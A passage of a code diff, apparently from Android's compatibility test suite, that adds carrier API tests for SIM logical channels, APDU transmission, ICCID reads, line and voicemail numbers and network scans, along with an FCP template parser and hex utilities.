-            mTelephonyManager.getImei(mTelephonyManager.getSlotIndex());
             mTelephonyManager.getMeid();
-            mTelephonyManager.getMeid(mTelephonyManager.getSlotIndex());
             mTelephonyManager.getNai();
             mTelephonyManager.getDataNetworkType();
             mTelephonyManager.getVoiceNetworkType();
@@ -279,6 +348,22 @@
         } catch (SecurityException e) {
             failMessage();
         }
+        // For APIs which take a slot ID, we should be able to call them without getting a
+        // SecurityException for at last one valid slot ID.
+        // TODO(b/112441100): Simplify this test once slot ID APIs are cleaned up.
+        boolean hasReadableSlot = false;
+        for (int slotIndex = 0; slotIndex < mTelephonyManager.getPhoneCount(); slotIndex++) {
+            try {
+                mTelephonyManager.getDeviceId(slotIndex);
+                mTelephonyManager.getImei(slotIndex);
+                mTelephonyManager.getMeid(slotIndex);
+                hasReadableSlot = true;
+                break;
+            } catch (SecurityException e) {
+                // Move on to the next slot.
+            }
+        }
+        assertTrue("Unable to read device identifiers for any slot index", hasReadableSlot);
     }
 
     public void testVoicemailTableIsAccessible() throws Exception {
@@ -375,6 +460,436 @@
 
     }
 
+    /**
+     * Test that it's possible to open logical channels to the ICC. This mirrors the Manage Channel
+     * command described in TS 102 221 Section 11.1.17.
+     */
+    public void testIccOpenLogicalChannel() {
+        if (!hasCellular) return;
+
+        // The AID here doesn't matter - we just need to open a valid connection. In this case, the
+        // specified AID ("") opens a channel and selects the MF.
+        IccOpenLogicalChannelResponse response = mTelephonyManager.iccOpenLogicalChannel("");
+        verifyValidIccOpenLogicalChannelResponse(response);
+        mTelephonyManager.iccCloseLogicalChannel(response.getChannel());
+
+        // {@link TelephonyManager#iccOpenLogicalChannel} sends a Manage Channel (open) APDU
+        // followed by a Select APDU with the given AID and p2 values. See Open Mobile API
+        // Specification v3.2 Section 6.2.7.h and TS 102 221 for details.
+        int p2 = 0x0C; // '0C' for no data returned (TS 102 221 Section 11.1.1.2)
+        response = mTelephonyManager.iccOpenLogicalChannel("", p2);
+        verifyValidIccOpenLogicalChannelResponse(response);
+        mTelephonyManager.iccCloseLogicalChannel(response.getChannel());
+
+        // Valid p2 values are defined in TS 102 221 Table 11.2. Per Table 11.2, 0xF0 should be
+        // invalid. Any p2 values that produce non '9000'/'62xx'/'63xx' status words are treated as
+        // an error and the channel is not opened. Due to compatibility issues with older devices,
+        // this check is only enabled for new devices launching on Q+.
+        if (Build.VERSION.FIRST_SDK_INT >= Build.VERSION_CODES.Q) {
+            p2 = 0xF0;
+            response = mTelephonyManager.iccOpenLogicalChannel("", p2);
+            assertEquals(INVALID_CHANNEL, response.getChannel());
+            assertNotEquals(STATUS_NO_ERROR, response.getStatus());
+        }
+    }
+
+    /**
+     * Test that it's possible to close logical channels to the ICC. This follows the Manage Channel
+     * command described in TS 102 221 Section 11.1.17.
+     */
+    public void testIccCloseLogicalChannel() {
+        if (!hasCellular) return;
+
+        // The directory here doesn't matter - we just need to open a valid connection that can
+        // later be closed. In this case, the specified AID ("") opens a channel and selects the MF.
+        IccOpenLogicalChannelResponse response = mTelephonyManager.iccOpenLogicalChannel("");
+        // Check that the select command succeeded. This ensures that the logical channel is indeed
+        // open.
+        assertArrayEquals(STATUS_NORMAL, response.getSelectResponse());
+        assertTrue(mTelephonyManager.iccCloseLogicalChannel(response.getChannel()));
+
+        // Close opened channel twice.
+        assertFalse(mTelephonyManager.iccCloseLogicalChannel(response.getChannel()));
+
+        // Close channel that is not open.
+        assertFalse(mTelephonyManager.iccCloseLogicalChannel(2));
+
+        // Channel 0 is guaranteed to be always available and cannot be closed, per TS 102 221
+        // Section 11.1.17
+        assertFalse(mTelephonyManager.iccCloseLogicalChannel(0));
+    }
+
+    /**
+     * This test ensures that valid APDU instructions can be sent and processed by the ICC. To do
+     * so, APDUs are sent to:
+     * - get the status of the MF
+     * - select the Access Rule Reference (ARR) for the MF
+     * - get the FCP template response for the select
+     */
+    public void testIccTransmitApduLogicalChannel() {
+        if (!hasCellular) return;
+
+        // An open LC is required for transmitting APDU commands. This opens an LC to the MF.
+        IccOpenLogicalChannelResponse logicalChannel = mTelephonyManager.iccOpenLogicalChannel("");
+
+        // Get the status of the current directory. This should match the MF. TS 102 221 Section
+        // 11.1.2
+        int channel = logicalChannel.getChannel();
+        int cla = CLA_STATUS;
+        int p1 = 0; // no indication of application status
+        int p2 = 0; // same response parameters as the SELECT in the iccOpenLogicalChannel() above
+        int p3 = 0; // length of 'data' payload
+        String data = "";
+        String response = mTelephonyManager
+                .iccTransmitApduLogicalChannel(channel, cla, COMMAND_STATUS, p1, p2, p3, data);
+        FcpTemplate fcpTemplate = FcpTemplate.parseFcpTemplate(response);
+        // Check that the FCP Template's file ID matches the MF
+        assertTrue(containsFileId(fcpTemplate, MF_FILE_ID));
+        assertEquals(STATUS_NORMAL_STRING, fcpTemplate.getStatus());
+
+        // Select the Access Rule Reference for the MF. Similar to the MF, this will exist across
+        // all SIM cards. TS 102 221 Section 11.1.1
+        cla = CLA_SELECT;
+        p1 = 0; // select EF by FID
+        p2 = 0x04; // requesting FCP template
+        p3 = 2; // data (FID to be selected) is 2 bytes
+        data = MF_ARR_FILE_ID;
+        response = mTelephonyManager
+                .iccTransmitApduLogicalChannel(
+                        channel, cla, COMMAND_SELECT, p1, p2, p3, data);
+
+        // Devices launching with Q or later must immediately return the FCP template from the
+        // previous SELECT command. Some devices that launched before Q return TPDUs (instead of
+        // APDUs) - these devices must issue a subsequent GET RESPONSE command to get the FCP
+        // template.
+        if (Build.VERSION.FIRST_SDK_INT < Build.VERSION_CODES.Q) {
+            // Conditionally need to send GET RESPONSE apdu based on response from TelephonyManager
+            if (response.startsWith(STATUS_BYTES_REMAINING)) {
+                // Read the FCP template from the ICC. TS 102 221 Section 12.1.1
+                cla = CLA_GET_RESPONSE;
+                p1 = 0;
+                p2 = 0;
+                p3 = 0;
+                data = "";
+                response = mTelephonyManager
+                       .iccTransmitApduLogicalChannel(
+                                channel, cla, COMMAND_GET_RESPONSE, p1, p2, p3, data);
+            }
+        }
+
+        fcpTemplate = FcpTemplate.parseFcpTemplate(response);
+        // Check that the FCP Template's file ID matches the selected ARR
+        assertTrue(containsFileId(fcpTemplate, MF_ARR_FILE_ID));
+        assertEquals(STATUS_NORMAL_STRING, fcpTemplate.getStatus());
+
+        mTelephonyManager.iccCloseLogicalChannel(channel);
+    }
+
+    /**
+     * Tests several invalid APDU instructions over a logical channel and makes sure appropriate
+     * errors are returned from the UICC.
+     */
+    public void testIccTransmitApduLogicalChannelWithInvalidInputs() {
+        if (!hasCellular) return;
+
+        // An open LC is required for transmitting apdu commands. This opens an LC to the MF.
+        IccOpenLogicalChannelResponse logicalChannel = mTelephonyManager.iccOpenLogicalChannel("");
+        int channel = logicalChannel.getChannel();
+
+        // Make some invalid APDU commands and make sure they fail as expected.
+        // Use an invalid p1 value for Status apdu
+        int cla = CLA_STATUS | channel;
+        int p1 = 0xFF; // only '00', '01', and '02' are allowed
+        int p2 = 0; // same response parameters as the SELECT in the iccOpenLogicalChannel() above
+        int p3 = 0; // length of 'data' payload
+        String data = "";
+        String response = mTelephonyManager
+                .iccTransmitApduLogicalChannel(channel, cla, COMMAND_STATUS, p1, p2, p3, data);
+        assertTrue(INVALID_PARAMETERS_STATUSES.contains(response));
+
+        // Select a file that doesn't exist
+        cla = CLA_SELECT;
+        p1 = 0x00; // select by file ID
+        p2 = 0x0C; // no data returned
+        p3 = 0x02; // length of 'data' payload
+        data = "FFFF"; // invalid file ID
+        response = mTelephonyManager
+                .iccTransmitApduLogicalChannel(channel, cla, COMMAND_SELECT, p1, p2, p3, data);
+        assertEquals(STATUS_FILE_NOT_FOUND, response);
+
+        // Manage channel with incorrect p1 parameter
+        cla = CLA_MANAGE_CHANNEL | channel;
+        p1 = 0x83; // Only '80' or '00' allowed for Manage Channel p1
+        p2 = channel; // channel to be closed
+        p3 = 0; // length of 'data' payload
+        data = "";
+        response = mTelephonyManager
+            .iccTransmitApduLogicalChannel(channel, cla, COMMAND_MANAGE_CHANNEL, p1, p2, p3, data);
+        assertTrue(isErrorResponse(response));
+
+        // Use an incorrect class byte for Status apdu
+        cla = 0xFF;
+        p1 = 0; // no indication of application status
+        p2 = 0; // same response parameters as the SELECT in the iccOpenLogicalChannel() above
+        p3 = 0; // length of 'data' payload
+        data = "";
+        response = mTelephonyManager
+            .iccTransmitApduLogicalChannel(channel, cla, COMMAND_STATUS, p1, p2, p3, data);
+        assertEquals(STATUS_WRONG_CLASS, response);
+
+        // Provide a data field that is longer than described for Select apdu
+        cla = CLA_SELECT | channel;
+        p1 = 0; // select by file ID
+        p2 = 0x0C; // no data returned
+        p3 = 0x04; // data passed is actually 2 bytes long
+        data = "3F00"; // valid ID
+        response = mTelephonyManager
+            .iccTransmitApduLogicalChannel(channel, cla, COMMAND_SELECT, p1, p2, p3, data);
+        assertTrue(isErrorResponse(response));
+
+        // Use an invalid instruction
+        cla = 0;
+        p1 = 0;
+        p2 = 0;
+        p3 = 0;
+        data = "";
+        int invalidInstruction = 0xFF; // see TS 102 221 Table 10.5 for valid instructions
+        response = mTelephonyManager
+            .iccTransmitApduLogicalChannel(channel, cla, invalidInstruction, p1, p2, p3, data);
+        assertTrue(isErrorResponse(response));
+
+        mTelephonyManager.iccCloseLogicalChannel(channel);
+    }
+
+    /**
+     * This test ensures that files can be read off the UICC. This helps to test the SIM booting
+     * process, as it process involves several file-reads. The ICCID is one of the first files read.
+     */
+    public void testApduFileRead() {
+        if (!hasCellular) return;
+
+        // Open a logical channel and select the MF.
+        IccOpenLogicalChannelResponse logicalChannel = mTelephonyManager.iccOpenLogicalChannel("");
+        int channel = logicalChannel.getChannel();
+
+        // Select the ICCID. TS 102 221 Section 13.2
+        int p1 = 0; // select by file ID
+        int p2 = 0x0C; // no data returned
+        int p3 = 2; // length of 'data' payload
+        String response = mTelephonyManager.iccTransmitApduLogicalChannel(
+                channel, CLA_SELECT, COMMAND_SELECT, p1, p2, p3, ICCID_FILE_ID);
+        assertEquals(STATUS_NORMAL_STRING, response);
+
+        // Read the contents of the ICCID.
+        p1 = 0; // 0-byte offset
+        p2 = 0; // 0-byte offset
+        p3 = 0; // length of 'data' payload
+        response = mTelephonyManager.iccTransmitApduLogicalChannel(
+                channel, CLA_READ_BINARY, COMMAND_READ_BINARY, p1, p2, p3, "");
+        assertTrue(response.endsWith(STATUS_NORMAL_STRING));
+
+        mTelephonyManager.iccCloseLogicalChannel(channel);
+    }
+
+    /**
+     * This test sends several valid APDU commands over the basic channel (channel 0).
+     */
+    public void testIccTransmitApduBasicChannel() {
+        if (!hasCellular) return;
+
+        // select the MF
+        int cla = CLA_SELECT;
+        int p1 = 0; // select EF by FID
+        int p2 = 0x0C; // requesting FCP template
+        int p3 = 2; // length of 'data' payload
+        String data = MF_FILE_ID;
+        String response = mTelephonyManager
+            .iccTransmitApduBasicChannel(cla, COMMAND_SELECT, p1, p2, p3, data);
+        assertEquals(STATUS_NORMAL_STRING, response);
+
+        // get the Status of the current file/directory
+        cla = CLA_STATUS;
+        p1 = 0; // no indication of application status
+        p2 = 0; // same response parameters as the SELECT in the iccOpenLogicalChannel() above
+        p3 = 0; // length of 'data' payload
+        data = "";
+        response = mTelephonyManager
+            .iccTransmitApduBasicChannel(cla, COMMAND_STATUS, p1, p2, p3, data);
+        FcpTemplate fcpTemplate = FcpTemplate.parseFcpTemplate(response);
+        assertTrue(containsFileId(fcpTemplate, MF_FILE_ID));
+
+        // Manually open a logical channel
+        cla = CLA_MANAGE_CHANNEL;
+        p1 = 0; // open a logical channel
+        p2 = 0; // '00' for open command
+        p3 = 0; // length of data payload
+        data = "";
+        response = mTelephonyManager
+            .iccTransmitApduBasicChannel(cla, COMMAND_MANAGE_CHANNEL, p1, p2, p3, data);
+        // response is in the format | 1 byte: channel number | 2 bytes: status word |
+        String responseStatus = response.substring(2);
+        assertEquals(STATUS_NORMAL_STRING, responseStatus);
+
+        // Close the open channel
+        byte[] responseBytes = hexStringToBytes(response);
+        int channel = responseBytes[0];
+        cla = CLA_MANAGE_CHANNEL;
+        p1 = 0x80; // close a logical channel
+        p2 = channel; // the channel to be closed
+        p3 = 0; // length of data payload
+        data = "";
+        response = mTelephonyManager
+            .iccTransmitApduBasicChannel(cla, COMMAND_MANAGE_CHANNEL, p1, p2, p3, data);
+        assertEquals(STATUS_NORMAL_STRING, response);
+    }
+
+    /**
+     * This test verifies that {@link TelephonyManager#setLine1NumberForDisplay(String, String)}
+     * correctly sets the Line 1 alpha tag and number when called.
+     */
+    public void testLine1NumberForDisplay() {
+        if (!hasCellular) return;
+
+        // Cache original alpha tag and number values.
+        String originalAlphaTag = mTelephonyManager.getLine1AlphaTag();
+        String originalNumber = mTelephonyManager.getLine1Number();
+
+        try {
+            // clear any potentially overridden values and cache defaults
+            mTelephonyManager.setLine1NumberForDisplay(null, null);
+            String defaultAlphaTag = mTelephonyManager.getLine1AlphaTag();
+            String defaultNumber = mTelephonyManager.getLine1Number();
+
+            assertTrue(mTelephonyManager.setLine1NumberForDisplay(ALPHA_TAG_A, NUMBER_A));
+            assertEquals(ALPHA_TAG_A, mTelephonyManager.getLine1AlphaTag());
+            assertEquals(NUMBER_A, mTelephonyManager.getLine1Number());
+
+            assertTrue(mTelephonyManager.setLine1NumberForDisplay(ALPHA_TAG_B, NUMBER_B));
+            assertEquals(ALPHA_TAG_B, mTelephonyManager.getLine1AlphaTag());
+            assertEquals(NUMBER_B, mTelephonyManager.getLine1Number());
+
+            // null is used to clear the Line 1 alpha tag and number values.
+            assertTrue(mTelephonyManager.setLine1NumberForDisplay(null, null));
+            assertEquals(defaultAlphaTag, mTelephonyManager.getLine1AlphaTag());
+            assertEquals(defaultNumber, mTelephonyManager.getLine1Number());
+        } finally {
+            // Reset original alpha tag and number values.
+            mTelephonyManager.setLine1NumberForDisplay(originalAlphaTag, originalNumber);
+        }
+    }
+
+    /**
+     * This test verifies that {@link TelephonyManager#setVoiceMailNumber(String, String)} correctly
+     * sets the VoiceMail alpha tag and number when called.
+     */
+    public void testVoiceMailNumber() {
+        if (!hasCellular) return;
+
+        // Cache original alpha tag and number values.
+        String originalAlphaTag = mTelephonyManager.getVoiceMailAlphaTag();
+        String originalNumber = mTelephonyManager.getVoiceMailNumber();
+
+        try {
+            assertTrue(mTelephonyManager.setVoiceMailNumber(ALPHA_TAG_A, NUMBER_A));
+            assertEquals(ALPHA_TAG_A, mTelephonyManager.getVoiceMailAlphaTag());
+            assertEquals(NUMBER_A, mTelephonyManager.getVoiceMailNumber());
+
+            assertTrue(mTelephonyManager.setVoiceMailNumber(ALPHA_TAG_B, NUMBER_B));
+            assertEquals(ALPHA_TAG_B, mTelephonyManager.getVoiceMailAlphaTag());
+            assertEquals(NUMBER_B, mTelephonyManager.getVoiceMailNumber());
+        } finally {
+            // Reset original alpha tag and number values.
+            mTelephonyManager.setVoiceMailNumber(originalAlphaTag, originalNumber);
+        }
+    }
+
+    /**
+     * This test verifies that {@link TelephonyManager#iccExchangeSimIO(int, int, int, int, int,
+     * String)} correctly transmits iccIO commands to the UICC card. First, the MF is selected via a
+     * SELECT apdu via the basic channel, then a STATUS AT-command is sent.
+     */
+    public void testIccExchangeSimIO() {
+        if (!hasCellular) return;
+
+        // select the MF first. This makes sure the next STATUS AT-command returns a FCP template
+        // for the right file.
+        int cla = CLA_SELECT;
+        int p1 = 0; // select EF by FID
+        int p2 = 0x0C; // requesting FCP template
+        int p3 = 2; // length of 'data' payload
+        String data = MF_FILE_ID;
+        String response = mTelephonyManager
+                .iccTransmitApduBasicChannel(cla, COMMAND_SELECT, p1, p2, p3, data);
+        assertEquals(STATUS_NORMAL_STRING, response);
+
+        // The iccExchangeSimIO command implements the +CRSM command defined in TS 27.007 section
+        // 8.18. A STATUS command is sent and the returned value will be an FCP template.
+        byte[] result = mTelephonyManager.iccExchangeSimIO(
+                0, // fileId: not required for STATUS
+                COMMAND_STATUS,  // command: STATUS
+                0, // p1: not required for STATUS
+                0, // p2: not required for STATUS
+                0, // p3: not required for STATUS
+                ""); // filePath: not required for STATUS
+        String resultString = bytesToHexString(result);
+        FcpTemplate fcpTemplate = FcpTemplate.parseFcpTemplate(resultString);
+        assertTrue(containsFileId(fcpTemplate, MF_FILE_ID));
+        assertEquals("iccExchangeSimIO returned non-normal Status byte: " + resultString,
+                STATUS_NORMAL_STRING, fcpTemplate.getStatus());
+    }
+
+    /**
+     * This test checks that a STATUS apdu can be sent as an encapsulated envelope to the UICC via
+     * {@link TelephonyManager#sendEnvelopeWithStatus(String)}.
+     */
+    public void testSendEnvelopeWithStatus() {
+        // STATUS apdu as hex String
+        String envelope =
+                CLA_STATUS_STRING
+                + COMMAND_STATUS_STRING
+                + "00" // p1: no indication of application status
+                + "00"; // p2: identical parameters to
+        String response = mTelephonyManager.sendEnvelopeWithStatus(envelope);
+
+        // TODO(b/137963715): add more specific assertions on response from TelMan#sendEnvelope
+        assertNotNull("sendEnvelopeWithStatus is null for envelope=" + envelope, response);
+    }
+
+    private void verifyValidIccOpenLogicalChannelResponse(IccOpenLogicalChannelResponse response) {
+        // The assigned channel should be between the min and max allowed channel numbers
+        int channel = response.getChannel();
+        assertTrue(MIN_LOGICAL_CHANNEL <= channel && channel <= MAX_LOGICAL_CHANNEL);
+        assertEquals(STATUS_NO_ERROR, response.getStatus());
+        assertArrayEquals(STATUS_NORMAL, response.getSelectResponse());
+    }
+
+    /**
+     * Checks whether the a {@code fcpTemplate} contains the given {@code fileId}.
+     *
+     * @param fcpTemplate The FCP Template to be checked.
+     * @param fileId The file ID that is being searched for
+     *
+     * @return true iff fcpTemplate contains fileId.
+     */
+    private boolean containsFileId(FcpTemplate fcpTemplate, String fileId) {
+        return fcpTemplate.getTlvs().stream().anyMatch(tlv ->
+                tlv.getTag() == FILE_IDENTIFIER && tlv.getValue().equals(fileId));
+    }
+
+    /**
+     * Returns true iff {@code response} indicates an error with the previous APDU.
+     *
+     * @param response The APDU response to be checked.
+     *
+     * @return true iff the given response indicates an error occurred
+     */
+    private boolean isErrorResponse(@Nonnull String response) {
+        return !(STATUS_NORMAL_STRING.equals(response) ||
+            response.startsWith(STATUS_WARNING_A) ||
+            response.startsWith(STATUS_WARNING_B) ||
+            response.startsWith(STATUS_BYTES_REMAINING));
+    }
+
     private static class IntentReceiver extends BroadcastReceiver {
         private final CountDownLatch mReceiveLatch = new CountDownLatch(1);
 
diff --git a/tests/tests/carrierapi/src/android/carrierapi/cts/FcpTemplate.java b/tests/tests/carrierapi/src/android/carrierapi/cts/FcpTemplate.java
new file mode 100644
index 0000000..a90c756
--- /dev/null
+++ b/tests/tests/carrierapi/src/android/carrierapi/cts/FcpTemplate.java
@@ -0,0 +1,167 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.carrierapi.cts;
+
+import static android.carrierapi.cts.IccUtils.hexStringToBytes;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Objects;
+import javax.annotation.Nonnull;
+
+/**
+ * Class for representing a File Control Parameters (FCP) Template object. TS 101 220
+ *
+ * A correctly formatted FCP Template will be in the format:
+ * | 1 byte: BER tag (0x62) | 1 byte: length of TLVs |...TLV objects...| 2 bytes: status |
+ */
+public class FcpTemplate {
+
+    // FCP Template label
+    public static final int BER_TAG_FCP_TEMPLATE = 0x62;
+
+    // FCP Template BER-TLV Tag tags. TS 101 220 Section 7.2
+    public static final int FILE_SIZE_DATA = 0x80;
+    public static final int FILE_SIZE_TOTAL = 0x81;
+    public static final int FILE_DESCRIPTOR = 0x82;
+    public static final int FILE_IDENTIFIER = 0x83;
+    public static final int DF_NAME = 0x84;
+    public static final int PROPRIETARY = 0x85;
+    public static final int SFI_SUPPORT = 0x88;
+    public static final int LIFE_CYCLE_STATUS = 0x8A;
+    public static final int SECURITY_ATTR_REFERENCE_FORMAT = 0x8B;
+    public static final int SECURITY_ATTR_COMPACT_FORMAT = 0x8C;
+    public static final int SECURITY_ATTR_TEMPLATE_EXPANDED_FORMAT = 0xAB;
+    public static final int PROPRIETARY_TEMPLATE = 0xA5;
+    public static final int PIN_STATUS_DATA_OBJECT = 0xC6;
+
+    private final List<Tlv> tlvs;
+    private final String status;
+
+    private FcpTemplate(@Nonnull List<Tlv> tlvs, @Nonnull String status) {
+        this.tlvs = tlvs;
+        this.status = status;
+    }
+
+    public List<Tlv> getTlvs() {
+        return tlvs;
+    }
+
+    public String getStatus() {
+        return status;
+    }
+
+    /**
+     * Parses and returns a FcpTemplate for the given {@code fcpResponse}
+     *
+     * @param fcpResponse The Hex String response for a given Status APDU command. Expected to be in
+     * the format: | 1 byte: BER tag | 1 byte: length of TLVs |...TLV objects...| 2 bytes: status |
+     *
+     * @return a FcpTemplate for the given hex String
+     *
+     * @throws FcpTemplateParseException for non-FCP inputs or inputs of the wrong length (encoded
+     *                                   length does not match actual length)
+     */
+    public static FcpTemplate parseFcpTemplate(@Nonnull String fcpResponse) {
+        final List<Tlv> tlvObjects = new ArrayList<>();
+
+        // Expected FcpResponse format:
+        // | 1 byte: BER tag | 1 byte: length of TLVs | ...TLV objects... | 2 bytes: status |
+        byte[] data = hexStringToBytes(fcpResponse);
+        int responseLength = data.length;
+        // don't count BER tag, length byte, or status bytes
+        int payloadLength = responseLength - 4;
+        // data[0]: Response tag
+        // data[1]: TLV data object length in bytes. Assumes that length is < 128 bytes
+        if (data[0] != BER_TAG_FCP_TEMPLATE || data[1] != payloadLength) {
+            throw new FcpTemplateParseException("Improperly formatted fcpResponse: " + fcpResponse);
+        }
+
+        int index = 2;
+        while (index < responseLength - 2) { // don't need to process the 2 byte status-word footer
+            // TLV data object format per TS 101 220:
+            // | 1 byte: tag | 1 byte: length | 'length' bytes: value |
+            int tag = data[index++] & 0xFF;
+            int length = data[index++] & 0xFF; // assumes that length is < 128 bytes.
+            String value = fcpResponse.substring(index * 2, (index + length) * 2);
+            tlvObjects .add(new Tlv(tag, length, value));
+            index += length;
+        }
+
+        String status = fcpResponse.substring(fcpResponse.length() - 4);
+        return new FcpTemplate(tlvObjects , status);
+    }
+
+    /**
+     * Represents a Tag-Length-Value object. TS 101 220 Section 2
+     */
+    public static class Tlv {
+
+        private final int tag;
+        private final int length;
+        private final String value;
+
+        public Tlv(int tag, int length, @Nonnull String value) {
+            this.tag = tag;
+            this.length = length;
+            this.value = value;
+        }
+
+        public int getTag() {
+            return tag;
+        }
+
+        public int getLength() {
+            return length;
+        }
+
+        public String getValue() {
+            return value;
+        }
+
+        @Override
+        public boolean equals(Object o) {
+            if (this == o) {
+                return true;
+            }
+            if (o == null || getClass() != o.getClass()) {
+                return false;
+            }
+            Tlv tlv = (Tlv) o;
+            return tag == tlv.tag &&
+                    length == tlv.length &&
+                    value.equals(tlv.value);
+        }
+
+        @Override
+        public int hashCode() {
+            return Objects.hash(tag, length, value);
+        }
+
+        @Override
+        public String toString() {
+            return tag + "(" + length + "):" + value;
+        }
+    }
+
+    private static final class FcpTemplateParseException extends RuntimeException {
+
+        public FcpTemplateParseException(String message) {
+            super(message);
+        }
+    }
+}
diff --git a/tests/tests/carrierapi/src/android/carrierapi/cts/IccUtils.java b/tests/tests/carrierapi/src/android/carrierapi/cts/IccUtils.java
new file mode 100644
index 0000000..3409fe5
--- /dev/null
+++ b/tests/tests/carrierapi/src/android/carrierapi/cts/IccUtils.java
@@ -0,0 +1,89 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.carrierapi.cts;
+
+import javax.annotation.Nonnull;
+
+/**
+ * Utility class for converting between hex Strings and bitwise representations.
+ */
+public class IccUtils {
+
+    // A table mapping from a number to a hex character for fast encoding hex strings.
+    private static final char[] HEX_CHARS = {
+            '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F'
+    };
+
+    @Nonnull
+    public static String bytesToHexString(byte[] bytes) {
+        StringBuilder ret = new StringBuilder(2 * bytes.length);
+        for (int i = 0 ; i < bytes.length ; i++) {
+            int b;
+            b = 0x0f & (bytes[i] >> 4);
+            ret.append(HEX_CHARS[b]);
+            b = 0x0f & bytes[i];
+            ret.append(HEX_CHARS[b]);
+        }
+        return ret.toString();
+    }
+
+    /**
+     * Converts a hex String to a byte array.
+     *
+     * @param s A string of hexadecimal characters, must be an even number of
+     *          chars long
+     *
+     * @return byte array representation
+     *
+     * @throws RuntimeException on invalid format
+     */
+    public static byte[] hexStringToBytes(String s) {
+        byte[] ret;
+
+        if (s == null) return null;
+
+        int sz = s.length();
+
+        ret = new byte[sz/2];
+
+        for (int i=0 ; i <sz ; i+=2) {
+            ret[i/2] = (byte) ((hexCharToInt(s.charAt(i)) << 4) | hexCharToInt(s.charAt(i+1)));
+        }
+
+        return ret;
+    }
+
+    /**
+     * Converts a hex char to its integer value
+     *
+     * @param c A single hexadecimal character. Must be in one of these ranges:
+     *          - '0' to '9', or
+     *          - 'a' to 'f', or
+     *          - 'A' to 'F'
+     *
+     * @return the integer representation of {@code c}
+     *
+     * @throws RuntimeException on invalid character
+     */
+    public static int hexCharToInt(char c) {
+        if (c >= '0' && c <= '9') return (c - '0');
+        if (c >= 'A' && c <= 'F') return (c - 'A' + 10);
+        if (c >= 'a' && c <= 'f') return (c - 'a' + 10);
+
+        throw new RuntimeException ("invalid hex char '" + c + "'");
+    }
+}
diff --git a/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java b/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java
index fc66dc5..67d3913 100644
--- a/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java
+++ b/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java
@@ -22,11 +22,15 @@
 import static org.junit.Assert.fail;
 
 import android.content.Context;
+import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager;
+import android.os.AsyncTask;
 import android.os.Handler;
 import android.os.HandlerThread;
 import android.os.Message;
 import android.os.Parcel;
+import android.os.Process;
+import android.provider.Settings;
 import android.telephony.AccessNetworkConstants;
 import android.telephony.CellInfo;
 import android.telephony.CellInfoGsm;
@@ -48,7 +52,9 @@
 import org.junit.runner.RunWith;
 
 import java.util.ArrayList;
+import java.util.Arrays;
 import java.util.List;
+import java.util.stream.Collectors;
 
 /**
  * Build, install and run the tests by running the commands below:
@@ -63,14 +69,17 @@
     private int mNetworkScanStatus;
     private static final int EVENT_NETWORK_SCAN_START = 100;
     private static final int EVENT_NETWORK_SCAN_RESULTS = 200;
+    private static final int EVENT_NETWORK_SCAN_RESTRICTED_RESULTS = 201;
     private static final int EVENT_NETWORK_SCAN_ERROR = 300;
     private static final int EVENT_NETWORK_SCAN_COMPLETED = 400;
+    private static final int EVENT_SCAN_DENIED = 500;
     private List<CellInfo> mScanResults = null;
     private NetworkScanHandlerThread mTestHandlerThread;
     private Handler mHandler;
     private NetworkScan mNetworkScan;
     private NetworkScanRequest mNetworkScanRequest;
     private NetworkScanCallbackImpl mNetworkScanCallback;
+    private static final int MAX_CELLINFO_WAIT_MILLIS = 5000; // 5 seconds
     private static final int MAX_INIT_WAIT_MS = 60000; // 60 seconds
     private Object mLock = new Object();
     private boolean mReady;
@@ -97,6 +106,9 @@
                     null /* channels */)
     };
 
+    // Needed because NETWORK_SCAN_PERMISSION is a systemapi
+    public static final String NETWORK_SCAN_PERMISSION = "android.permission.NETWORK_SCAN";
+
     @Before
     public void setUp() throws Exception {
         mTelephonyManager = (TelephonyManager)
@@ -146,8 +158,24 @@
                     switch (msg.what) {
                         case EVENT_NETWORK_SCAN_START:
                             Log.d(TAG, "request network scan");
-                            mNetworkScan = mTelephonyManager.requestNetworkScan(
-                                    mNetworkScanRequest, mNetworkScanCallback);
+                            InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                                    .adoptShellPermissionIdentity();
+                            try {
+                                mNetworkScan = mTelephonyManager.requestNetworkScan(
+                                        mNetworkScanRequest,
+                                        AsyncTask.SERIAL_EXECUTOR,
+                                        mNetworkScanCallback);
+                                if (mNetworkScan == null) {
+                                    mNetworkScanStatus = EVENT_SCAN_DENIED;
+                                    setReady(true);
+                                }
+                            } catch (SecurityException e) {
+                                mNetworkScanStatus = EVENT_SCAN_DENIED;
+                                setReady(true);
+                            } finally {
+                                InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                                        .dropShellPermissionIdentity();
+                            }
                             break;
                         default:
                             Log.d(TAG, "Unknown Event " + msg.what);
@@ -177,12 +205,26 @@
             Log.d(TAG, "onError: " + String.valueOf(error));
             mNetworkScanStatus = EVENT_NETWORK_SCAN_ERROR;
             mErrorCode = error;
-            Log.d(TAG, "Stop the network scan");
-            mNetworkScan.stopScan();
             setReady(true);
         }
     }
 
+    private class CellInfoResultsCallback extends TelephonyManager.CellInfoCallback {
+        public List<CellInfo> cellInfo;
+
+        @Override
+        public synchronized void onCellInfo(List<CellInfo> cellInfo) {
